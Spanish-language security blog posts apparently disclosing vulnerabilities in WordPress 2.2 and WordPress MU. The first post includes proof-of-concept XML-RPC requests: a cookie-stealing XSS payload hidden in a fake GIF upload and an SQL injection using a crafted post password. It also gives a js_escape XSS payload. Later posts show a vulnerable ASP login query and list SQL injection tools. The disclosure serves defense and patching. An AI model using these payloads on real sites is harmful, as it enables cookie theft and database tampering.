XSS, SQL Injection, Arbitrary File Upload en WordPress

A los dos problemas de seguridad que reporté previamente en WordPress 2.2, se suman otros cuatro que en su mayoría afectan a aquellos blogs que dejan registrar a usuarios (como colaboradores). En vista de que en realidad muchos blogs -- al menos de los que conozco -- tienen esta opción deshabilitada, el radio de acción no es tan grande; sin embargo, estos mismos bugs en páginas que ofrecen blogs gratis basados en WordPress MU, corren mucho riesgo.

  1. XSS: WordPress permite subir sólo cierto tipo de archivos, los cuales son validados en base a la extensión del archivo (ver función wp_check_filetype en wp-includes/functions.php), como no existe ningún proceso que valide el contenido de esos archivos, es posible que éstos puedan contener código javascript incrustado en éste. Por ejemplo, si se hace la siguiente petición a xmlrpc.php:

    code:
    POST /xmlrpc.php HTTP/1.1
    Content-Type: text/plain
    Host: vulnerable.com
    Content-Length: 458

    <methodCall>
            <methodName>wp.uploadFile</methodName>
            <params>
            <param><value>1</value></param>
            <param><value>user</value></param>
            <param><value>password</value></param>
                    <struct>
                            <member><name>name</name><value>demo.gif</value></member>
                            <member><name>type</name><value>image/gif</value></member>
                            <member><name>bits</name><value><![CDATA[<script>alert(document.cookie)</script>]]></value></member>
                    </struct>
            </params>
    </methodCall>

    Puesto que a Internet Explorer le gusta facilitar los ataques XSS, si alguien accede con este navegador a http://victima.com/wp-content/uploads/año/mes/demo.gif, se mostrará un mensaje mostrando las cookies de ese usuario.

  2. SQL Injection: Este problema se presenta en la función mw_editPost de xmlrpc.php, debido a que no escapa los parámetros en el orden adecuado, si revisan el código de esa función, van a encontrar algo parecido a:

    php:
    postdata = wp_get_single_post($post_ID, ARRAY_A);

    // If there is no post data for the give post id, stop
    // now and return an error.  Other wise a new post will be
    // created (which was the old behavior).
    if(empty($postdata["ID"])) {
            return(new IXR_Error(404, __("Invalid post id.")));
    }

    extract($postdata);
    $this->escape($postdata);

    Gracias a este pequeño error, es posible realizar un ataque de inyección de SQL usando el campo post_password (20 caracteres). La siguiente prueba de concepto actualizará todas las entradas con el título foo:

    • Crear una nueva entrada y asignarle como contraseña: '/*
    • Realizar la siguiente petición a xmlrpc.php.
      code:
      POST /wp/xmlrpc.php HTTP/1.1
      User-Agent: Fiddler
      Host: localhost
      Content-Length: 390

      <methodCall>
         <methodName>blogger.newPost</methodName>
         <params>
           <param><value>0</value></param>
           <param><value>0</value></param>
           <param><value>alex</value></param>
           <param><value>1234</value></param>
           <struct>
               <member><name>title</name><value>foo</value></member>
           </struct>
           <param><value>0</value></param>
         </params>
      </methodCall>

    Don't try it at home.

  3. Arbitrary File Upload: Este sin duda es el más grave de todos porque permite a un atacante subir cualquier tipo de archivos, más adelante publicaré los detalles.

  4. XSS: Este bug se basa en lo que comentábamos el otro día sobre XSS y las peculiaridades de los navegadores, están afectadas casi todas las páginas que hacen uso de la función js_escape. Por ejemplo, pueden reproducir el problema en wp-admin/edit-comments.php:

    • Hacer un comentario en alguna entrada y poner como nombre &#x27;)||alert(document.cookie)//
    • Intentar eliminar o marcar como spam ese comentario.

Según la respuesta de uno de los desarrolladores de WordPress, la solución para el primer problema se va a postergar hasta la salida de la versión 2.2.2.

Dado que son varios los cambios que hay que hacer para estar un poco más seguros, les recomiendo que actualicen por lo menos a la versión 2.2.1* ó 2.0.11 para los que todavía sigan en la rama 2.0.

*: durante la edición de esta entrada se reportó otros pequeños problemas de SQL Injection. 😉
Disculpen por el título amarillista, no se me ocurrió otra cosa. 😀

Múltiples vulnerabilidades en la última version estable de WordPress MU

WordPress MU, es una versión de WordPress que soporta múltiples blogs. Tanto WordPress como WordPress MU comparten gran parte de código y por lo tanto, es lógico que casi siempre sufran los mismos problemas de seguridad*.

Luego de mirar un rato el código de la última versión estable de WordPress MU, veo que el casi inofensivo** problema de seguridad que reporté el lunes pasado en WordPress, tiene consecuencias más peligrosas en la versión multiblog puesto que cualquiera puede registrarse en sitios que usen este CMS. Por las pruebas que hice, el exploit funciona sin realizar ningún cambio.

Por otro lado, las versiones menores iguales a 1.2.1 son posiblemente vulnerables a todos los bugs reportados meses atrás. Por tanto, lo más seguro mientras liberan actualizaciones de seguridad es usar la versión en desarrollo.

*: un problema similar existe entre menéame y pligg, este último no ha corregido varios de los fallos reportados en el primero (y viceversa).
**: pocos blogs dejan que los usuarios se registren libremente.

Programadores despistados y la seguridad

Ayer recibí el siguiente correo de un preocupado programador (lo de programador despistado no va dirigido a la persona que me escribió el mail 😉 ):

A pesar de haber leido mucho sobre inyección de SQL, aun son incapaz de realizar ataques decentes. Mis ataques son tan malos que hacen que mis webs parezcan seguras cuando no lo son.

Siguiendo tus consejos suelo usar autenticas paranoias en el filtrado de cadenas de entrada. Ademas de validar los tipos de todas aquellas variables que vayan a una consulta.

Ultimamente me he encontrado con un programador que me ridiculiza diciendo que él lo arregla asi de facil:

asp:
<%
function sanear(original)
        texto=""
        cadena="abcdefghijklmnñopqrstuvwxyzABCDEFGHIJKLMNÑOPQRSTUVWXYZ0123456789,.':;ÁÉÍÓÚÀÈÌÒÙáéíóúàèìòùïüÏÜçÇ¡!¿?-_*+-/=)(@%ºª{[]} "
        origen=original&""
        if len(origen)>0  then
        for i=1 to len(origen)
                letra=mid(origen,i,1)
                if instr(cadena,letra)>0 then
                        texto=texto&letra
                end if
        next
        end if
        sanear=texto
end function

usuario=replace(sanear(request.Form("usr")),"'","")
contrasena=replace(sanear(request.Form("pass")),"'","")

set rs=con.execute("select * from usuario where usuario='"&usuario&"' and contrasena='"&contrasena&"'")

%>

La base de datos está en una intranet y es un SQL Server 2000

A mi me parece que eso es tan inseguro como no poner login. Pero no he sido capaz de crear una cadena que se salte ese filtro 🙁

Me atasco con el espacio en blanco que no esta permitido. Probé el %00, el char(32)... pero algo hago mal porque no lo logro 🙁

Necesito demostrar que eso es inseguro o seguiran usando esa mierda de validaciones en toda la aplicacion.

Puedes usar mi pregunta para un articulo si te parece oportuno, de hecho seguro que tus lectores sabrian darme una respuesta.

No hay que ser experto en ASP para darse cuenta que ese código es bastante ineficiente y le dá una falsa sensación de seguridad al que lo programó, así mismo, me parece que también demuestra su falta de experiencia en programación.

Viendo el ejemplo particular que pone, creo que no es vulnerable a inyección de SQL. ¿Ustedes qué opinan?

15 herramientas gratuitas para detectar vulnerabilidades de Inyección de SQL

Una fallo de inyección de SQL (o SQL Injection en inglés) es ...

...es una vulnerabilidad informática en el nivel de la validación de las entradas a la base de datos de una aplicación. El origen es el filtrado incorrecto de las variables utilizadas en las partes del programa con código SQL. Es, de hecho, un error de una clase más general de vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o de script que esté incrustado dentro de otro.

Según estadísticas publicadas por WhiteHack Security, los fallos de inyección de SQL y otro tipo de vulnerabilidades afectan a un gran número de sitios web, por lo que el uso de herramientas automatizadas que detecten posibles problemas de seguridad son más que recomendables.

En Security-Hacks, han publicado una lista de herramientas destinadas a encontrar y explotar vulnerabilidades de inyección de SQL.

  1. SQLIer
  2. SQLbftools
  3. SQL Injection Brute-forcer
  4. SQLBrute
  5. BobCat
  6. SQLMap
  7. Absinthe
  8. SQL Injection Pen-testing Tool
  9. SQID
  10. Blind SQL Injection Perl Tool
  11. SQL Power Injector
  12. FJ-Injector Framwork
  13. SQLNinja
  14. Automagic SQL Injector
  15. NGSS SQL Injector

Para evitar este tipo de ataques se debe hacer uso de consultas parametrizadas o funciones que el lenguaje de programación provea para este fin, en lo posible no debemos reinventar la rueda y hacer funciones que algunas veces no sirven de nada.